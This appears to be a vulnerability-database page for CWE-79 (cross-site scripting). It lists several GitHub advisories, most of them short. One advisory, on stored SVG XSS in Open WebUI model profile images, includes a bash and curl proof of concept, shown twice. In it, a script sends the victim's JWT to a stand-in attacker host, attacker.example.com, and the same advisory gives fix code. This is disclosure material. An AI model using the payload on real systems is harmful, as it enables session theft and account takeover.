CWE-79
AllowedImproper Neutralization of Input During Web Page Generation ('Cross-site Scripting')
Abstraction: Base · Status: Stable
The product does not neutralize or incorrectly neutralizes user-controllable input before it is placed in output that is used as a web page that is served to other users.
66880 vulnerabilities reference this CWE, most recent first.
GHSA-V2MG-QJ93-CVHW
Vulnerability from github – Published: 2022-05-24 19:07 – Updated: 2022-05-24 19:07A cross-site scripting (XSS) vulnerability in wp-content/plugins/event-espresso-core-reg/admin_pages/messages/templates/ee_msg_admin_overview.template.php in the Event Espresso Core plugin before 4.10.7.p for WordPress allows remote attackers to inject arbitrary web script or HTML via the page parameter.
{
"affected": [],
"aliases": [
"CVE-2020-26153"
],
"database_specific": {
"cwe_ids": [
"CWE-79"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2021-07-13T11:15:00Z",
"severity": "MODERATE"
},
"details": "A cross-site scripting (XSS) vulnerability in wp-content/plugins/event-espresso-core-reg/admin_pages/messages/templates/ee_msg_admin_overview.template.php in the Event Espresso Core plugin before 4.10.7.p for WordPress allows remote attackers to inject arbitrary web script or HTML via the page parameter.",
"id": "GHSA-v2mg-qj93-cvhw",
"modified": "2022-05-24T19:07:44Z",
"published": "2022-05-24T19:07:44Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2020-26153"
},
{
"type": "WEB",
"url": "https://github.com/eventespresso/event-espresso-core/compare/4.10.6.p...4.10.7.p"
},
{
"type": "WEB",
"url": "https://labs.nettitude.com/blog/cve-2020-26153-event-espresso-core-cross-site-scripting"
}
],
"schema_version": "1.4.0",
"severity": []
}
GHSA-V2P5-MVPW-W7PP
Vulnerability from github – Published: 2022-05-24 17:39 – Updated: 2022-05-24 17:39Cross Site Scripting (XSS) in Configuration page in SKYWORTH GN542VF Hardware Version 2.0 and Software Version 2.0.0.16 allows authenticated attacker to inject their own script into the page via DDNS Configuration Section.
{
"affected": [],
"aliases": [
"CVE-2020-26733"
],
"database_specific": {
"cwe_ids": [
"CWE-79"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2021-01-14T16:15:00Z",
"severity": "MODERATE"
},
"details": "Cross Site Scripting (XSS) in Configuration page in SKYWORTH GN542VF Hardware Version 2.0 and Software Version 2.0.0.16 allows authenticated attacker to inject their own script into the page via DDNS Configuration Section.",
"id": "GHSA-v2p5-mvpw-w7pp",
"modified": "2022-05-24T17:39:16Z",
"published": "2022-05-24T17:39:16Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2020-26733"
},
{
"type": "WEB",
"url": "https://github.com/swzhouu/CVE-2020-26733"
}
],
"schema_version": "1.4.0",
"severity": []
}
GHSA-V2P6-FGM7-P99G
Vulnerability from github – Published: 2025-05-07 15:31 – Updated: 2026-04-01 18:35Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') vulnerability in Code Atlantic Content Control allows DOM-Based XSS. This issue affects Content Control: from n/a through 2.6.1.
{
"affected": [],
"aliases": [
"CVE-2025-47501"
],
"database_specific": {
"cwe_ids": [
"CWE-79"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2025-05-07T15:16:04Z",
"severity": "MODERATE"
},
"details": "Improper Neutralization of Input During Web Page Generation (\u0027Cross-site Scripting\u0027) vulnerability in Code Atlantic Content Control allows DOM-Based XSS. This issue affects Content Control: from n/a through 2.6.1.",
"id": "GHSA-v2p6-fgm7-p99g",
"modified": "2026-04-01T18:35:02Z",
"published": "2025-05-07T15:31:44Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2025-47501"
},
{
"type": "WEB",
"url": "https://patchstack.com/database/wordpress/plugin/content-control/vulnerability/wordpress-content-control-2-6-1-cross-site-scripting-xss-vulnerability?_s_id=cve"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:L",
"type": "CVSS_V3"
}
]
}
GHSA-V2P9-7GV4-VG5M
Vulnerability from github – Published: 2025-06-11 00:30 – Updated: 2025-06-11 00:30Adobe Experience Manager versions 6.5.22 and earlier are affected by a stored Cross-Site Scripting (XSS) vulnerability that could be abused by a low privileged attacker to inject malicious scripts into vulnerable form fields. Malicious JavaScript may be executed in a victim’s browser when they browse to the page containing the vulnerable field.
{
"affected": [],
"aliases": [
"CVE-2025-46951"
],
"database_specific": {
"cwe_ids": [
"CWE-79"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2025-06-10T23:15:39Z",
"severity": "MODERATE"
},
"details": "Adobe Experience Manager versions 6.5.22 and earlier are affected by a stored Cross-Site Scripting (XSS) vulnerability that could be abused by a low privileged attacker to inject malicious scripts into vulnerable form fields. Malicious JavaScript may be executed in a victim\u2019s browser when they browse to the page containing the vulnerable field.",
"id": "GHSA-v2p9-7gv4-vg5m",
"modified": "2025-06-11T00:30:40Z",
"published": "2025-06-11T00:30:40Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2025-46951"
},
{
"type": "WEB",
"url": "https://helpx.adobe.com/security/products/experience-manager/apsb25-48.html"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N",
"type": "CVSS_V3"
}
]
}
GHSA-V2PG-M39G-CXHR
Vulnerability from github – Published: 2023-08-16 21:31 – Updated: 2024-01-25 18:30A vulnerability in the web-based management interface of Cisco Integrated Management Controller (IMC) could allow an unauthenticated, remote attacker to conduct a cross-site scripting (XSS) attack against a user of the interface.
This vulnerability is due to insufficient validation of user input. An attacker could exploit this vulnerability by persuading a user of an affected interface to click a crafted link. A successful exploit could allow the attacker to execute arbitrary script code in the browser of the targeted user or access sensitive, browser-based information.
{
"affected": [],
"aliases": [
"CVE-2023-20228"
],
"database_specific": {
"cwe_ids": [
"CWE-79",
"CWE-80"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2023-08-16T21:15:09Z",
"severity": "MODERATE"
},
"details": "A vulnerability in the web-based management interface of Cisco Integrated Management Controller (IMC) could allow an unauthenticated, remote attacker to conduct a cross-site scripting (XSS) attack against a user of the interface.\n\n This vulnerability is due to insufficient validation of user input. An attacker could exploit this vulnerability by persuading a user of an affected interface to click a crafted link. A successful exploit could allow the attacker to execute arbitrary script code in the browser of the targeted user or access sensitive, browser-based information.",
"id": "GHSA-v2pg-m39g-cxhr",
"modified": "2024-01-25T18:30:38Z",
"published": "2023-08-16T21:31:05Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2023-20228"
},
{
"type": "WEB",
"url": "https://sec.cloudapps.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-cimc-xss-UMYtYEtr"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N",
"type": "CVSS_V3"
}
]
}
GHSA-V2PV-Q68M-HGQC
Vulnerability from github – Published: 2022-05-01 06:54 – Updated: 2022-05-01 06:54Multiple cross-site scripting (XSS) vulnerabilities in Papoo 2.1.5 allow remote attackers to inject arbitrary web script or HTML via the menuid parameter to (1) index.php or (2) forum.php, or the (3) reporeid_print parameter to print.php.
{
"affected": [],
"aliases": [
"CVE-2006-1918"
],
"database_specific": {
"cwe_ids": [
"CWE-79"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2006-04-20T18:06:00Z",
"severity": "LOW"
},
"details": "Multiple cross-site scripting (XSS) vulnerabilities in Papoo 2.1.5 allow remote attackers to inject arbitrary web script or HTML via the menuid parameter to (1) index.php or (2) forum.php, or the (3) reporeid_print parameter to print.php.",
"id": "GHSA-v2pv-q68m-hgqc",
"modified": "2022-05-01T06:54:04Z",
"published": "2022-05-01T06:54:04Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2006-1918"
},
{
"type": "WEB",
"url": "http://securitytracker.com/id?1015939"
},
{
"type": "WEB",
"url": "http://www.securityfocus.com/archive/1/431009/100/0/threaded"
},
{
"type": "WEB",
"url": "http://www.securityfocus.com/bid/17530"
}
],
"schema_version": "1.4.0",
"severity": []
}
GHSA-V2QF-2G23-XMCG
Vulnerability from github – Published: 2022-09-25 00:00 – Updated: 2022-09-28 00:00Cross site scripting (XSS) vulnerability in kfm through 1.4.7 via crafted GET request to /kfm/index.php.
{
"affected": [],
"aliases": [
"CVE-2022-40359"
],
"database_specific": {
"cwe_ids": [
"CWE-79"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2022-09-23T18:15:00Z",
"severity": "MODERATE"
},
"details": "Cross site scripting (XSS) vulnerability in kfm through 1.4.7 via crafted GET request to /kfm/index.php.",
"id": "GHSA-v2qf-2g23-xmcg",
"modified": "2022-09-28T00:00:24Z",
"published": "2022-09-25T00:00:20Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2022-40359"
},
{
"type": "WEB",
"url": "https://code.google.com/archive/p/kfm/downloads"
},
{
"type": "WEB",
"url": "https://cxsecurity.com/issue/WLB-2022090057"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N",
"type": "CVSS_V3"
}
]
}
GHSA-V2QM-4X3J-GC57
Vulnerability from github – Published: 2025-08-08 15:30 – Updated: 2025-08-08 15:30The /users endpoint in Statamic Core before 2.11.8 allows XSS to add an administrator user. This can be exploited via CSRF. Stored XSS can occur via a JavaScript payload in a username during account registration. Reflected XSS can occur via the /users PATH_INFO.
{
"affected": [],
"aliases": [
"CVE-2020-9322"
],
"database_specific": {
"cwe_ids": [
"CWE-79"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2025-08-08T15:15:27Z",
"severity": "HIGH"
},
"details": "The /users endpoint in Statamic Core before 2.11.8 allows XSS to add an administrator user. This can be exploited via CSRF. Stored XSS can occur via a JavaScript payload in a username during account registration. Reflected XSS can occur via the /users PATH_INFO.",
"id": "GHSA-v2qm-4x3j-gc57",
"modified": "2025-08-08T15:30:33Z",
"published": "2025-08-08T15:30:33Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2020-9322"
},
{
"type": "WEB",
"url": "https://gist.github.com/kernelsndrs/86b78e869d481566223914ec7d4fc881"
},
{
"type": "WEB",
"url": "https://statamic.com/changelog#2.11.18"
},
{
"type": "WEB",
"url": "https://web.archive.org/web/20200304174034/www.statamic.com/changelog#2.11.18"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
}
]
}
GHSA-V2QM-5WXJ-QHJ7
Vulnerability from github – Published: 2026-06-17 14:15 – Updated: 2026-07-20 21:05Stored XSS to Account Takeover via Model Profile Images in Open WebUI
Affected: Open WebUI <= 0.9.5 Bypass of: GHSA-3wgj-c2hg-vm6q, GHSA-3856-3vxq-m6fc
TL;DR
Open WebUI patched SVG XSS in user profile images and webhook profile images but forgot to apply the same fix to model profile images. The ModelMeta class has no validate_profile_image_url field validator, and the model image serving endpoint has no MIME allowlist or nosniff header. Any authenticated user with workspace.models permission (enabled by default) can store a data:image/svg+xml;base64,... payload in a model's profile image and achieve full account takeover of anyone who navigates to the image URL.
Past of the issue
In early 2025, two security advisories landed for Open WebUI:
- GHSA-3wgj-c2hg-vm6q SVG XSS via user profile images
- GHSA-3856-3vxq-m6fc SVG XSS via webhook profile images
The patches were clean. A validate_profile_image_url function was introduced in backend/open_webui/utils/validate.py a compiled regex that restricts data: URIs to safe raster formats (image/png, image/jpeg, image/gif, image/webp), explicitly excluding image/svg+xml because SVG can carry embedded <script> tags. On the output side, users.py added a MIME allowlist check and X-Content-Type-Options: nosniff.
The fix was applied to UserUpdateForm, UpdateProfileForm, and later to ChannelWebhookForm. Three models patched. Case closed.
Except there was a fourth endpoint.
The Gap
Open WebUI has a concept of "Models" user-created model configurations with metadata including a profile image. The metadata lives in ModelMeta:
# backend/open_webui/models/models.py, line 37-47
class ModelMeta(BaseModel):
profile_image_url: Optional[str] = '/static/favicon.png'
description: Optional[str] = None
capabilities: Optional[dict] = None
model_config = ConfigDict(extra='allow')
No @field_validator. No import of validate_profile_image_url. ModelMeta accepts any string as profile_image_url including data:image/svg+xml;base64,....
The serving endpoint at GET /api/v1/models/model/profile/image has the same gap:
# backend/open_webui/routers/models.py, line 503-518
elif profile_image_url.startswith('data:image'):
header, base64_data = profile_image_url.split(',', 1)
image_data = base64.b64decode(base64_data)
image_buffer = io.BytesIO(image_data)
media_type = header.split(';')[0].lstrip('data:')
headers = {'Content-Disposition': 'inline'}
# ...
return StreamingResponse(
image_buffer,
media_type=media_type,
headers=headers,
)
No MIME allowlist. No nosniff. No CSP. The SVG is served inline with Content-Type: image/svg+xml on the application's origin.
Compare this with the patched user endpoint:
# backend/open_webui/routers/users.py, line 497-509
media_type = header.split(';')[0].lstrip('data:').lower()
if media_type not in PROFILE_IMAGE_ALLOWED_MIME_TYPES: # <-- ABSENT in models.py
return FileResponse(f'{STATIC_DIR}/user.png')
return StreamingResponse(
image_buffer,
media_type=media_type,
headers={
'Content-Disposition': 'inline',
'X-Content-Type-Options': 'nosniff', # <-- ABSENT in models.py
},
)
The fix exists. It just was never applied here.
Comparison Table
| Endpoint | Input Validation | MIME Allowlist | nosniff | Status |
|---|---|---|---|---|
GET /users/{id}/profile/image |
YES | YES | YES | Patched |
GET /webhooks/{id}/profile/image |
YES | no | no | Partially patched |
GET /models/model/profile/image |
NO | NO | NO | Vulnerable |
Three Write Vectors
The malicious SVG data URI can be injected through any of three endpoints all pass ModelForm containing ModelMeta without validation:
POST /api/v1/models/create(line 195) any user withworkspace.modelspermissionPOST /api/v1/models/update(line 581) model owner or adminPOST /api/v1/models/import(line 279) admin only
The workspace.models permission is enabled by default for all non-pending users in a standard deployment.
The Attack
Step 1 Store the payload:
SVG=$(echo '<svg xmlns="http://www.w3.org/2000/svg">
<script>
new Image().src="https://attacker.example.com/steal?t="+localStorage.getItem("token")
</script>
</svg>' | base64 -w0)
curl -s -X POST 'https://TARGET/api/v1/models/create' \
-H "Authorization: Bearer $ATTACKER_TOKEN" \
-H 'Content-Type: application/json' \
-d "{
\"id\": \"gpt-4-turbo-preview\",
\"name\": \"GPT-4 Turbo\",
\"base_model_id\": \"gpt-4\",
\"meta\": {
\"profile_image_url\": \"data:image/svg+xml;base64,$SVG\",
\"description\": \"Latest GPT-4 Turbo model\"
},
\"params\": {},
\"access_grants\": []
}"
Step 2 Victim navigates to the image URL:
https://TARGET/api/v1/models/model/profile/image?id=gpt-4-turbo-preview
This happens naturally when a user right-clicks a model's avatar and selects "Open Image in New Tab", or when the attacker sends the URL directly (e.g., in a channel message).
Step 3 Token theft:
The server responds:
HTTP/1.1 200 OK
content-type: image/svg+xml
content-disposition: inline
<svg xmlns="http://www.w3.org/2000/svg">
<script>
new Image().src="https://attacker.example.com/steal?t="+localStorage.getItem("token")
</script>
</svg>
No X-Content-Type-Options. No Content-Security-Policy. The browser renders the SVG as a top-level document in the Open WebUI origin. The embedded <script> executes. localStorage.getItem("token") returns the victim's JWT. The attacker receives it and has full API access password changes, admin promotion, data exfiltration.
PoC
#!/usr/bin/env bash
# PoC: Stored SVG XSS -> token theft via Open WebUI model profile image
# Affected: open-webui <= 0.9.5
TARGET="http://localhost:8080"
ATTACKER_TOKEN="<attacker_JWT_from_localStorage.token>"
COLLECTOR="https://attacker.example.com/steal" # attacker-controlled listener
# --- Step 1: Build the malicious SVG (steals victim JWT from localStorage) ---
read -r -d '' SVG <<EOF
<svg xmlns="http://www.w3.org/2000/svg">
<script>
new Image().src="${COLLECTOR}?t="+encodeURIComponent(localStorage.getItem("token"));
</script>
</svg>
EOF
SVG_B64=$(printf '%s' "$SVG" | base64 -w0)
# --- Step 2: Store the payload in a model's profile_image_url ---
curl -s -X POST "${TARGET}/api/v1/models/create" \
-H "Authorization: Bearer ${ATTACKER_TOKEN}" \
-H "Content-Type: application/json" \
-d "{
\"id\": \"gpt-4-turbo-preview\",
\"name\": \"GPT-4 Turbo\",
\"base_model_id\": \"gpt-4\",
\"meta\": {
\"profile_image_url\": \"data:image/svg+xml;base64,${SVG_B64}\",
\"description\": \"Latest GPT-4 Turbo\"
},
\"params\": {},
\"access_grants\": []
}"
# --- Step 3: Trigger (victim navigates here, or attacker sends the link) ---
echo "Victim opens: ${TARGET}/api/v1/models/model/profile/image?id=gpt-4-turbo-preview"
Expected server response at Step 3 (the proof — SVG served inline, no defenses):
HTTP/1.1 200 OK
content-type: image/svg+xml
content-disposition: inline
<svg xmlns="http://www.w3.org/2000/svg">
<script>new Image().src="https://attacker.example.com/steal?t="+localStorage.getItem("token")</script>
</svg>
````
No X-Content-Type-Options, no Content-Security-Policy. The browser renders the SVG as a top-level document, the <script> executes in the Open WebUI origin, and the victim's JWT lands in the attacker's collector log. The attacker replays the JWT against the API for full account takeover (password change, admin promotion).
Trigger note: because the frontend loads model avatars in `<img src=...>` context (where SVG scripts do not run), exploitation requires the victim to load the URL as a top-level document — e.g. right-click → "Open image in new tab", or clicking the raw link when the attacker pastes it into a channel/chat. That single click is the only user interaction needed.
## Root Cause
An incomplete patch. When GHSA-3wgj-c2hg-vm6q was fixed, the validator was added to `UserUpdateForm` and `UpdateProfileForm`. When GHSA-3856-3vxq-m6fc was fixed, it was added to `ChannelWebhookForm`. But `ModelMeta` which uses the same `profile_image_url` field with the same serving logic was never touched. The output-side defenses (MIME allowlist + `nosniff`) were also only added to `users.py`, not to `models.py` or `channels.py`.
## Recommended Fix
**Input side** add the validator to `ModelMeta`:
```python
# backend/open_webui/models/models.py
from open_webui.utils.validate import validate_profile_image_url
class ModelMeta(BaseModel):
profile_image_url: Optional[str] = '/static/favicon.png'
# ...
@field_validator('profile_image_url', mode='before')
@classmethod
def check_profile_image_url(cls, v):
if v is None:
return v
return validate_profile_image_url(v)
Output side add MIME check and nosniff to the serving endpoint:
# backend/open_webui/routers/models.py
media_type = header.split(';')[0].lstrip('data:').lower()
if media_type not in PROFILE_IMAGE_ALLOWED_MIME_TYPES:
return FileResponse(f'{STATIC_DIR}/favicon.png')
return StreamingResponse(
image_buffer,
media_type=media_type,
headers={
'Content-Disposition': 'inline',
'X-Content-Type-Options': 'nosniff',
},
)
Both layers are necessary input validation prevents storage, output validation prevents serving even if a bypass is found later.
{
"affected": [
{
"database_specific": {
"last_known_affected_version_range": "\u003c= 0.9.5"
},
"package": {
"ecosystem": "PyPI",
"name": "open-webui"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "0.9.6"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-54013"
],
"database_specific": {
"cwe_ids": [
"CWE-116",
"CWE-693",
"CWE-79"
],
"github_reviewed": true,
"github_reviewed_at": "2026-06-17T14:15:52Z",
"nvd_published_at": "2026-06-23T18:18:06Z",
"severity": "HIGH"
},
"details": "# Stored XSS to Account Takeover via Model Profile Images in Open WebUI\n\n**Affected:** Open WebUI \u003c= 0.9.5\n**Bypass of:** GHSA-3wgj-c2hg-vm6q, GHSA-3856-3vxq-m6fc\n\n---\n\n## TL;DR\n\nOpen WebUI patched SVG XSS in user profile images and webhook profile images but forgot to apply the same fix to **model** profile images. The `ModelMeta` class has no `validate_profile_image_url` field validator, and the model image serving endpoint has no MIME allowlist or `nosniff` header. Any authenticated user with `workspace.models` permission (enabled by default) can store a `data:image/svg+xml;base64,...` payload in a model\u0027s profile image and achieve full account takeover of anyone who navigates to the image URL.\n\n---\n\n## Past of the issue\n\nIn early 2025, two security advisories landed for Open WebUI:\n\n- **GHSA-3wgj-c2hg-vm6q** SVG XSS via user profile images\n- **GHSA-3856-3vxq-m6fc** SVG XSS via webhook profile images\n\nThe patches were clean. A `validate_profile_image_url` function was introduced in `backend/open_webui/utils/validate.py` a compiled regex that restricts `data:` URIs to safe raster formats (`image/png`, `image/jpeg`, `image/gif`, `image/webp`), explicitly excluding `image/svg+xml` because SVG can carry embedded `\u003cscript\u003e` tags. On the output side, `users.py` added a MIME allowlist check and `X-Content-Type-Options: nosniff`.\n\nThe fix was applied to `UserUpdateForm`, `UpdateProfileForm`, and later to `ChannelWebhookForm`. Three models patched. Case closed.\n\nExcept there was a fourth endpoint.\n\n## The Gap\n\nOpen WebUI has a concept of \"Models\" user-created model configurations with metadata including a profile image. The metadata lives in `ModelMeta`:\n\n```python\n# backend/open_webui/models/models.py, line 37-47\nclass ModelMeta(BaseModel):\n profile_image_url: Optional[str] = \u0027/static/favicon.png\u0027\n description: Optional[str] = None\n capabilities: Optional[dict] = None\n model_config = ConfigDict(extra=\u0027allow\u0027)\n```\n\nNo `@field_validator`. No import of `validate_profile_image_url`. `ModelMeta` accepts any string as `profile_image_url` including `data:image/svg+xml;base64,...`.\n\nThe serving endpoint at `GET /api/v1/models/model/profile/image` has the same gap:\n\n```python\n# backend/open_webui/routers/models.py, line 503-518\nelif profile_image_url.startswith(\u0027data:image\u0027):\n header, base64_data = profile_image_url.split(\u0027,\u0027, 1)\n image_data = base64.b64decode(base64_data)\n image_buffer = io.BytesIO(image_data)\n media_type = header.split(\u0027;\u0027)[0].lstrip(\u0027data:\u0027)\n\n headers = {\u0027Content-Disposition\u0027: \u0027inline\u0027}\n # ...\n return StreamingResponse(\n image_buffer,\n media_type=media_type,\n headers=headers,\n )\n```\n\nNo MIME allowlist. No `nosniff`. No CSP. The SVG is served inline with `Content-Type: image/svg+xml` on the application\u0027s origin.\n\nCompare this with the **patched** user endpoint:\n\n```python\n# backend/open_webui/routers/users.py, line 497-509\nmedia_type = header.split(\u0027;\u0027)[0].lstrip(\u0027data:\u0027).lower()\n\nif media_type not in PROFILE_IMAGE_ALLOWED_MIME_TYPES: # \u003c-- ABSENT in models.py\n return FileResponse(f\u0027{STATIC_DIR}/user.png\u0027)\n\nreturn StreamingResponse(\n image_buffer,\n media_type=media_type,\n headers={\n \u0027Content-Disposition\u0027: \u0027inline\u0027,\n \u0027X-Content-Type-Options\u0027: \u0027nosniff\u0027, # \u003c-- ABSENT in models.py\n },\n)\n```\n\nThe fix exists. It just was never applied here.\n\n## Comparison Table\n\n| Endpoint | Input Validation | MIME Allowlist | nosniff | Status |\n|----------|:---:|:---:|:---:|--------|\n| `GET /users/{id}/profile/image` | YES | YES | YES | **Patched** |\n| `GET /webhooks/{id}/profile/image` | YES | no | no | Partially patched |\n| `GET /models/model/profile/image` | **NO** | **NO** | **NO** | **Vulnerable** |\n\n## Three Write Vectors\n\nThe malicious SVG data URI can be injected through any of three endpoints all pass `ModelForm` containing `ModelMeta` without validation:\n\n1. **`POST /api/v1/models/create`** (line 195) any user with `workspace.models` permission\n2. **`POST /api/v1/models/update`** (line 581) model owner or admin\n3. **`POST /api/v1/models/import`** (line 279) admin only\n\nThe `workspace.models` permission is **enabled by default** for all non-pending users in a standard deployment.\n\n## The Attack\n\n**Step 1 Store the payload:**\n\n```bash\nSVG=$(echo \u0027\u003csvg xmlns=\"http://www.w3.org/2000/svg\"\u003e\n \u003cscript\u003e\n new Image().src=\"https://attacker.example.com/steal?t=\"+localStorage.getItem(\"token\")\n \u003c/script\u003e\n\u003c/svg\u003e\u0027 | base64 -w0)\n\ncurl -s -X POST \u0027https://TARGET/api/v1/models/create\u0027 \\\n -H \"Authorization: Bearer $ATTACKER_TOKEN\" \\\n -H \u0027Content-Type: application/json\u0027 \\\n -d \"{\n \\\"id\\\": \\\"gpt-4-turbo-preview\\\",\n \\\"name\\\": \\\"GPT-4 Turbo\\\",\n \\\"base_model_id\\\": \\\"gpt-4\\\",\n \\\"meta\\\": {\n \\\"profile_image_url\\\": \\\"data:image/svg+xml;base64,$SVG\\\",\n \\\"description\\\": \\\"Latest GPT-4 Turbo model\\\"\n },\n \\\"params\\\": {},\n \\\"access_grants\\\": []\n }\"\n```\n\n**Step 2 Victim navigates to the image URL:**\n\n```\nhttps://TARGET/api/v1/models/model/profile/image?id=gpt-4-turbo-preview\n```\n\nThis happens naturally when a user right-clicks a model\u0027s avatar and selects \"Open Image in New Tab\", or when the attacker sends the URL directly (e.g., in a channel message).\n\n**Step 3 Token theft:**\n\nThe server responds:\n\n```http\nHTTP/1.1 200 OK\ncontent-type: image/svg+xml\ncontent-disposition: inline\n\n\u003csvg xmlns=\"http://www.w3.org/2000/svg\"\u003e\n \u003cscript\u003e\n new Image().src=\"https://attacker.example.com/steal?t=\"+localStorage.getItem(\"token\")\n \u003c/script\u003e\n\u003c/svg\u003e\n```\n\nNo `X-Content-Type-Options`. No `Content-Security-Policy`. The browser renders the SVG as a top-level document in the Open WebUI origin. The embedded `\u003cscript\u003e` executes. `localStorage.getItem(\"token\")` returns the victim\u0027s JWT. The attacker receives it and has full API access password changes, admin promotion, data exfiltration.\n\n## PoC\n\n```bash\n#!/usr/bin/env bash\n# PoC: Stored SVG XSS -\u003e token theft via Open WebUI model profile image\n# Affected: open-webui \u003c= 0.9.5\n\nTARGET=\"http://localhost:8080\"\nATTACKER_TOKEN=\"\u003cattacker_JWT_from_localStorage.token\u003e\"\nCOLLECTOR=\"https://attacker.example.com/steal\" # attacker-controlled listener\n\n# --- Step 1: Build the malicious SVG (steals victim JWT from localStorage) ---\nread -r -d \u0027\u0027 SVG \u003c\u003cEOF\n\u003csvg xmlns=\"http://www.w3.org/2000/svg\"\u003e\n \u003cscript\u003e\n new Image().src=\"${COLLECTOR}?t=\"+encodeURIComponent(localStorage.getItem(\"token\"));\n \u003c/script\u003e\n\u003c/svg\u003e\nEOF\nSVG_B64=$(printf \u0027%s\u0027 \"$SVG\" | base64 -w0)\n\n# --- Step 2: Store the payload in a model\u0027s profile_image_url ---\ncurl -s -X POST \"${TARGET}/api/v1/models/create\" \\\n -H \"Authorization: Bearer ${ATTACKER_TOKEN}\" \\\n -H \"Content-Type: application/json\" \\\n -d \"{\n \\\"id\\\": \\\"gpt-4-turbo-preview\\\",\n \\\"name\\\": \\\"GPT-4 Turbo\\\",\n \\\"base_model_id\\\": \\\"gpt-4\\\",\n \\\"meta\\\": {\n \\\"profile_image_url\\\": \\\"data:image/svg+xml;base64,${SVG_B64}\\\",\n \\\"description\\\": \\\"Latest GPT-4 Turbo\\\"\n },\n \\\"params\\\": {},\n \\\"access_grants\\\": []\n }\"\n\n# --- Step 3: Trigger (victim navigates here, or attacker sends the link) ---\necho \"Victim opens: ${TARGET}/api/v1/models/model/profile/image?id=gpt-4-turbo-preview\"\n```\n\nExpected server response at Step 3 (the proof \u2014 SVG served inline, no defenses):\n\n```\nHTTP/1.1 200 OK\ncontent-type: image/svg+xml\ncontent-disposition: inline\n\n\u003csvg xmlns=\"http://www.w3.org/2000/svg\"\u003e\n \u003cscript\u003enew Image().src=\"https://attacker.example.com/steal?t=\"+localStorage.getItem(\"token\")\u003c/script\u003e\n\u003c/svg\u003e\n````\nNo X-Content-Type-Options, no Content-Security-Policy. The browser renders the SVG as a top-level document, the \u003cscript\u003e executes in the Open WebUI origin, and the victim\u0027s JWT lands in the attacker\u0027s collector log. The attacker replays the JWT against the API for full account takeover (password change, admin promotion).\n\nTrigger note: because the frontend loads model avatars in `\u003cimg src=...\u003e` context (where SVG scripts do not run), exploitation requires the victim to load the URL as a top-level document \u2014 e.g. right-click \u2192 \"Open image in new tab\", or clicking the raw link when the attacker pastes it into a channel/chat. That single click is the only user interaction needed.\n\n## Root Cause\n\nAn incomplete patch. When GHSA-3wgj-c2hg-vm6q was fixed, the validator was added to `UserUpdateForm` and `UpdateProfileForm`. When GHSA-3856-3vxq-m6fc was fixed, it was added to `ChannelWebhookForm`. But `ModelMeta` which uses the same `profile_image_url` field with the same serving logic was never touched. The output-side defenses (MIME allowlist + `nosniff`) were also only added to `users.py`, not to `models.py` or `channels.py`.\n\n## Recommended Fix\n\n**Input side** add the validator to `ModelMeta`:\n\n```python\n# backend/open_webui/models/models.py\nfrom open_webui.utils.validate import validate_profile_image_url\n\nclass ModelMeta(BaseModel):\n profile_image_url: Optional[str] = \u0027/static/favicon.png\u0027\n # ...\n\n @field_validator(\u0027profile_image_url\u0027, mode=\u0027before\u0027)\n @classmethod\n def check_profile_image_url(cls, v):\n if v is None:\n return v\n return validate_profile_image_url(v)\n```\n\n**Output side** add MIME check and nosniff to the serving endpoint:\n\n```python\n# backend/open_webui/routers/models.py\nmedia_type = header.split(\u0027;\u0027)[0].lstrip(\u0027data:\u0027).lower()\n\nif media_type not in PROFILE_IMAGE_ALLOWED_MIME_TYPES:\n return FileResponse(f\u0027{STATIC_DIR}/favicon.png\u0027)\n\nreturn StreamingResponse(\n image_buffer,\n media_type=media_type,\n headers={\n \u0027Content-Disposition\u0027: \u0027inline\u0027,\n \u0027X-Content-Type-Options\u0027: \u0027nosniff\u0027,\n },\n)\n```\n\nBoth layers are necessary input validation prevents storage, output validation prevents serving even if a bypass is found later.",
"id": "GHSA-v2qm-5wxj-qhj7",
"modified": "2026-07-20T21:05:03Z",
"published": "2026-06-17T14:15:52Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/open-webui/open-webui/security/advisories/GHSA-v2qm-5wxj-qhj7"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-54013"
},
{
"type": "ADVISORY",
"url": "https://github.com/advisories/GHSA-v2qm-5wxj-qhj7"
},
{
"type": "PACKAGE",
"url": "https://github.com/open-webui/open-webui"
},
{
"type": "WEB",
